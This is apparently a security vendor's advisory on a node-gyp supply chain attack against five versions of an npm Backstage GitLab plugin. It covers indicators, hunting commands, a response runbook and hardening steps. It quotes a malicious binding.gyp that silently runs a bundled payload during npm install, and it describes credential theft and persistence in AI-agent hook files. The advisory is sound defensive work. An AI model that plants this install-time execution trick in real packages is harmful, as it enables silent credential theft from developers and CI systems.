A node-gyp supply chain attack is hiding install-time code execution in binding.gyp, and backstage-plugin-gitlab-backend is the latest carrier

June 26, 2026
June 26, 2026

0 min read

Vulnerabilities
Node-gyp Supply Chain Attack Hits backstage-plugin-gitlab-backend

In June 2026, five published versions of @immobiliarelabs/backstage-plugin-gitlab-backend began shipping a malicious binding.gyp that runs attacker code during npm install. The compromised releases are 3.0.3, 4.0.2, 5.2.1, 6.13.1, and 7.0.2. This is a node-gyp supply chain attack, and the delivery mechanism is the point: there is no preinstall or postinstall hook to flag, because execution happens through the native build system itself, a path most dependency review never inspects.

The package is part of the wider campaign that researchers track as Miasma, the install-time technique named Phantom Gyp, and the parent worm family known as Shai-Hulud. This post covers the affected versions, how the install-time execution works, the indicators to hunt for, and the first hour of response. Every claim traces to the linked primary sources.

Five backstage-plugin-gitlab-backend versions ship a malicious binding.gyp

Five published versions of @immobiliarelabs/backstage-plugin-gitlab-backend are compromised, and any workstation or CI runner that installed one should be treated as exposed until proven otherwise. Backstage is the developer portal many platform teams standardize on, so the compromised code lands directly on developer machines and inside CI/CD runners.

DetailValue
Package@immobiliarelabs/backstage-plugin-gitlab-backend
Registrynpm
Compromised versions3.0.3, 4.0.2, 5.2.1, 6.13.1, 7.0.2
Delivery filebinding.gyp invoking node-gyp at install time
Bundled payloadA large (multi-megabyte) index.js, reported around 5.3 MB
Execution triggernpm install resolving an affected version, directly or transitively
CampaignMiasma (technique: Phantom Gyp), part of the Shai-Hulud worm family
Assume-compromised scopeDeveloper workstations and CI/CD runners that ran the install

A Backstage GitLab backend plugin has no legitimate reason to carry native build infrastructure. A pure TypeScript or JavaScript plugin does not compile C or C++. The presence of binding.gyp in this package is itself the first signal that something is wrong.

Backstage sits at the center of the developer platform, which is what makes this placement valuable

Backstage is an open developer portal, and the GitLab backend plugin is a common dependency inside it, which places this compromise on exactly the hosts that hold the credentials worth stealing. Developer workstations and CI runners carry npm tokens, GitHub credentials, and cloud keys, so a package that installs widely across engineering is a high-value carrier.

That reach is why the technique matters more than the single package. The same malicious binding.gyp pattern is spreading across many packages and maintainer accounts in this campaign, so the right response is to hunt for the technique, not only this one plugin.

The execution runs through node-gyp, not through an install script

When npm install sees a binding.gyp file and no matching prebuilt binary, npm hands the package to node-gyp to compile a native addon, and the malicious package abuses that build step to run code with no install script anywhere in package.json. This breaks the assumption behind most npm hygiene advice.

Initial execution through command expansion

GYP, the build-config format node-gyp consumes, supports a command-expansion form. The <!(...) expression runs a shell command during the configure phase and substitutes its output into the build definition. The compromised releases put a command there instead of a filename. Public analysis of the wider campaign documented a binding.gyp of this exact shape:

{
  "targets": [
    {
      "target_name": "Setup",
      "type": "none",
      "sources": ["<!(node index.js > /dev/null 2>&1 && echo stub.c)"]
    }
  ]
}

Read it left to right. node index.js executes the bundled payload while node-gyp is still configuring, before any compiler runs. The redirect > /dev/null 2>&1 discards all output so the install looks clean. The trailing && echo stub.c returns a plausible source filename so GYP continues without an error. The "type": "none" target means nothing is actually compiled, so running index.js is the entire purpose.

Why standard review misses it

The package.json in these tarballs contains no preinstall, postinstall, install, or prepare script. The only scripts are ordinary development tasks. Tooling that scans package.json for lifecycle hooks sees nothing, because npm invokes node-gyp on its own the moment a binding.gyp is present. The malicious step never appears in the script list a reviewer or a script-blocking policy would check.

Payload delivery through a multi-stage loader

The bundled index.js is large because it is an obfuscated, multi-stage loader, not a normal entry point. Analysis of the campaign traced the chain through a character-code-array layer, a self-decrypting AES-128-GCM layer, and then a downloader that pulls a standalone bun runtime binary and runs the real payload under Bun rather than the Node process that started the install. Moving the work into a downloaded Bun binary is deliberate evasion: monitoring scoped to Node child processes during npm install does not see the process doing the real work, and a plaintext scan of index.js turns up no credentials or command-and-control strings because that behavior lives in the decrypted blob.

Credential harvesting, persistence, and propagation

Once running, the payload behaves like the rest of this worm family. The stealer sweeps for developer and CI/CD secrets across npm tokens, GitHub credentials, AWS, GCP, Azure, HashiCorp Vault, and Kubernetes, and it scrapes CI runner process memory to recover secrets that log masking would otherwise hide. Exfiltration runs through attacker-controlled GitHub repositories rather than a fixed command-and-control domain, which blends the traffic into normal developer activity. The malware plants persistence in editor and AI-agent hooks that survive a plain npm uninstall, and it self-propagates by republishing other packages from any maintainer account whose token it captures.

Indicators of compromise and behavioral signals

Hunt for the technique, not just the package name, because the same binding.gyp pattern is spreading across many packages and maintainer accounts in this campaign. The indicators below cover the affected versions, the file artifacts, and the runtime behavior.

Package versions to block immediately

  • @immobiliarelabs/backstage-plugin-gitlab-backend at 3.0.3, 4.0.2, 5.2.1, 6.13.1, and 7.0.2
  • Block these specific versions in your internal registry and reject them in lockfiles until the investigation closes

File system indicators

  • A binding.gyp file in any package with no legitimate native component, especially one containing the <!( command-expansion form
  • An unusually large root-level index.js (multiple megabytes; the disclosed payload is around 5.3 MB)
  • Editor or AI-agent hook files added without your action: .claude/, .cursor/rules/, .vscode/tasks.json (in particular "runOn": "folderOpen" entries)

Useful hunting commands:

# binding.gyp files that contain a node-gyp command-expansion payload
grep -rl '<!(' node_modules/*/binding.gyp node_modules/**/binding.gyp 2>/dev/null

# Suspiciously large root-level index.js files
find node_modules -maxdepth 2 -name index.js -size +1M 2>/dev/null

# Editor and AI-agent persistence hooks injected into your repo
ls -la .claude/ .cursor/rules/ .vscode/tasks.json 2>/dev/null

Network and process indicators

  • node-gyp rebuild running for a package that has no real native addon
  • Unexpected curl, unzip, or bun child processes spawned during npm install
  • A standalone bun binary downloaded mid-install when nothing in your project asked for Bun
  • GitHub API calls with a python-requests user agent originating from a CI step that is not a Python process

Git, GitHub, and CI indicators

  • New workflow files under .github/workflows/ that you did not author
  • Repositories created on your accounts without your action
  • npm packages republished from your maintainer accounts with version numbers that jump unexpectedly

Immediate response: the first-hour runbook

Remove persistence first, then clean and reinstall on known-good versions, then rotate every credential the affected host could see. The harvested data is encrypted before exfiltration, so you cannot determine after the fact what was taken, and an environment of unknown status should be treated as a confirmed compromise.

  1. Remove persistence before touching credentials. Inspect and delete injected editor and AI-agent hooks (.claude/settings.json, .vscode/tasks.json, .cursor/rules/) so they cannot react to your changes.
  2. Quarantine the affected versions. Block 3.0.3, 4.0.2, 5.2.1, 6.13.1, and 7.0.2 of the plugin in your internal registry and pin to a known-good release.
  3. Clean and reinstall. Remove node_modules, pin or remove the malicious versions in package.json, then reinstall with npm install --ignore-scripts. Treat --ignore-scripts as one layer, not the whole fix, because the tarball can still be fetched and unpacked and a later rebuild without that flag can still trigger node-gyp.
  4. Rotate every reachable credential: npm publish tokens, GitHub personal access tokens and Actions secrets, AWS keys and reachable IAM roles, GCP service account keys, Azure service principals, Vault tokens, Kubernetes service account tokens, and anything in a password manager store on the affected host.
  5. Audit Git and CI for injected workflows and dead-drop repositories. Review recent changes under .github/workflows/, recent commits, and any repositories created on your accounts.
  6. Hold publication. Freeze package publishing from potentially affected maintainer accounts until tokens are rotated, so a captured token cannot be used to republish.

Finding the package is not the same as knowing the code ran

Signature and manifest-based tooling catches a known-bad package version once it is listed, but the same tooling is structurally blind to a clean-looking package.json whose real behavior lives in a build file and executes before anything is logged. Closing that gap takes execution context.

The structural problem is straightforward. A scanner that reasons about a dependency from its manifest and its published metadata has nothing suspicious to flag here, because the malicious instruction is not in the manifest. The code runs during a build step that the package manager triggers automatically, under a runtime the attacker downloads specifically to avoid the process tree anyone is watching. Static review answers the question of what a package declares, and the attack is built to make that answer come back clean.

Execution reality changes the picture. Kodem's runtime-powered SCA flags compromised and tampered packages across direct and transitive dependency trees, and runtime intelligence adds the dimension static review cannot reach: whether a package actually loaded and whether its code paths executed, rather than whether it merely appears in a lockfile. For the install-time and runtime behavior itself, the unexpected process spawns, the mid-install binary download, and the credential access, Application Detection and Response baselines normal application execution and detects deviation without relying on a pre-loaded signature, which is the only way to catch a technique that is new by design. None of this requires the attack to be known in advance. The requirement is watching what the software does, not just what it says.

Hardening your pipeline against the next variant

Assume more variants are coming through other build-time files, and reduce the blast radius now rather than chase package names later. The steps below harden the pipeline against the wider family of install-time attacks, not just this package.

  1. Default to npm install --ignore-scripts in CI and pair it with a scanning gate, so install-time execution is off by default.
  2. Pin dependencies to exact versions with lockfile integrity hashes, so a republished malicious version cannot slip in transitively.
  3. Add a registry cooldown that holds packages published in the last several days before they are allowed into builds, since these waves move fast and get removed fast.
  4. Scope CI/CD tokens to least privilege and short lifetimes, so a single harvested token has a small radius and a short window.
  5. Hunt for build-time files (binding.gyp, extconf.rb) in packages that have no business carrying native code, and alert on their appearance.
  6. Monitor for the behavioral tells (node-gyp building a script-free package, mid-install binary downloads, CI process-memory access) rather than waiting for a package to reach a block list.
  7. Move open-source risk decisions onto execution evidence with runtime-powered open source security, so prioritization reflects what actually loads and runs.

What this signals about supply chain attacks

This wave shows attackers moving past the well-watched lifecycle scripts and into the build machinery that runs automatically and is rarely classified as executable. The credential theft is familiar; the entry point is what changed.

  • The initial execution keeps migrating to wherever defenders are not looking, from postinstall, to agent hooks, to binding.gyp and extconf.rb.
  • The payload is increasingly designed to evade the observation point, in this case by running under a downloaded Bun binary outside the Node process.
  • Exfiltration increasingly hides in legitimate developer traffic, here through GitHub repositories rather than a novel command-and-control domain.

The prediction worth tracking: the next wave will reach for another automatic build or tooling hook that nobody currently treats as code. The defense that ages well is not a longer block list. The durable control is the ability to see what a dependency actually does when it installs and when it runs.

Frequently asked questions

  1. What is the node-gyp supply chain attack? A malicious npm package ships a binding.gyp file that abuses node-gyp's command-expansion syntax to execute code during npm install, without a preinstall or postinstall script. Researchers named the install-time technique Phantom Gyp and track the wider campaign as Miasma, part of the Shai-Hulud worm family.
  2. Which versions of backstage-plugin-gitlab-backend are compromised? The identified malicious versions of @immobiliarelabs/backstage-plugin-gitlab-backend are 3.0.3, 4.0.2, 5.2.1, 6.13.1, and 7.0.2. Block these versions and pin to a known-good release.
  3. How do I know if my environment was affected? Check whether any affected version appears in your lockfiles or was installed on developer machines or CI runners. Then hunt for the technique: a binding.gyp containing <!( in a package with no native code, a multi-megabyte root index.js, or unexpected bun, curl, and unzip processes during install.
  4. What credentials does the malware steal? Reported targets include npm and GitHub tokens, AWS, GCP, and Azure credentials, HashiCorp Vault and Kubernetes service account tokens, and password manager stores. In CI, the payload scrapes runner process memory to recover secrets that log masking would otherwise hide.
  5. Why did my SCA or script-blocking tool miss it? The malicious instruction is not in package.json, so there is no lifecycle script to flag. npm invokes node-gyp automatically because a binding.gyp is present, and the real payload runs under a downloaded Bun binary outside the Node process, which evades monitoring scoped to npm scripts and Node child processes.
  6. How is this different from the original Shai-Hulud attack? The credential theft and worm propagation are consistent with the family. What changed is the initial execution path: earlier waves used postinstall scripts and agent hooks, while this wave moves first execution into build-time files (binding.gyp on npm, extconf.rb on RubyGems) that are not lifecycle scripts at all.
  7. Is npm install --ignore-scripts enough to stop it? The flag helps, but treat it as one layer. The malicious tarball can still be fetched and unpacked, and a later rebuild without the flag can still trigger node-gyp. Pinning to known-good versions, removing the malicious ones, and scanning before any build step is the durable control.
  8. Where can I track future variants? Follow the Snyk incident page for the node-gyp compromise and the StepSecurity Miasma disclosure, both linked below, and watch for new build-time execution techniques in the same worm family.

The bottom line

The compromised @immobiliarelabs/backstage-plugin-gitlab-backend releases are not really a story about one plugin. The story is that attackers have learned to fire code from binding.gyp, a file that exists for legitimate native builds and that almost no review treats as executable. Block the five versions, rotate what the install host could see, and then ask the harder question that outlasts this incident: across your dependency tree, do you actually know which code ran, or only which packages were declared? Kai turns that runtime evidence into a prioritized, ready-to-action answer.

References

  1. Snyk: Node-gyp Supply Chain Compromise, a self-propagating npm worm that hides in binding.gyp
  2. Snyk incident page: Node-gyp Supply Chain Compromise, June 2026 (full affected-package list)
  3. StepSecurity: Miasma npm supply chain attack and the Phantom Gyp technique
  4. npm: @immobiliarelabs/backstage-plugin-gitlab-backend package page
  5. GYP input format reference (command-expansion syntax)
Table of contents

Related blogs

Mastra npm Packages Compromised: easy-day-js Supply Chain Attack

Mastra npm Packages Compromised: easy-day-js Supply Chain Attack

On June 17, 2026, a hijacked contributor account republished more than 140 @mastra npm packages with a malicious easy-day-js dropper that delivers a crypto-stealer and RAT. Get the IOCs, timeline, and first-hour runbook.

June 17, 2026

9

CVE-2026-9277 shell-quote Command Injection

CVE-2026-9277 shell-quote Command Injection

CVE-2026-9277 is a shell-quote command injection flaw in npm versions 1.1.0 through 1.8.3. See how the quote() bypass works, what to hunt, and the 1.8.4 fix.

June 12, 2026

9

TanStack OpenAI Supply Chain Attack: Mini Shai-Hulud, IOCs, and First-Hour Response Runbook

TanStack OpenAI Supply Chain Attack: Mini Shai-Hulud, IOCs, and First-Hour Response Runbook

The TanStack OpenAI supply chain attack delivered Mini Shai-Hulud through trusted npm publishing. Get the IOCs, affected packages, and first-hour runbook.

June 5, 2026

13

Stop the waste.
Protect your environment with Kodem.

A Primer on Runtime Intelligence

See how Kodem's cutting-edge sensor technology revolutionizes application monitoring at the kernel level.

5.1k
Applications covered
1.1m
False positives eliminated
4.8k
Triage hours reduced

Platform Overview Video

Watch our short platform overview video to see how Kodem discovers real security risks in your code at runtime.

5.1k
Applications covered
1.1m
False positives eliminated
4.8k
Triage hours reduced

The State of the Application Security Workflow

This report aims to equip readers with actionable insights that can help future-proof their security programs. Kodem, the publisher of this report, purpose built a platform that bridges these gaps by unifying shift-left strategies with runtime monitoring and protection.

3D book mockup of Kodem's State of the Application Security Workflow 2025 report

Get real-time insights across the full stack…code, containers, OS, and memory

Watch how Kodem’s runtime security platform detects and blocks attacks before they cause damage. No guesswork. Just precise, automated protection.

Kodem issues list with a magnified view of insight icons: runtime, ingress, and exploitability
Combined author
Kodem Security Research Team
Publish date

0 min read

Vulnerabilities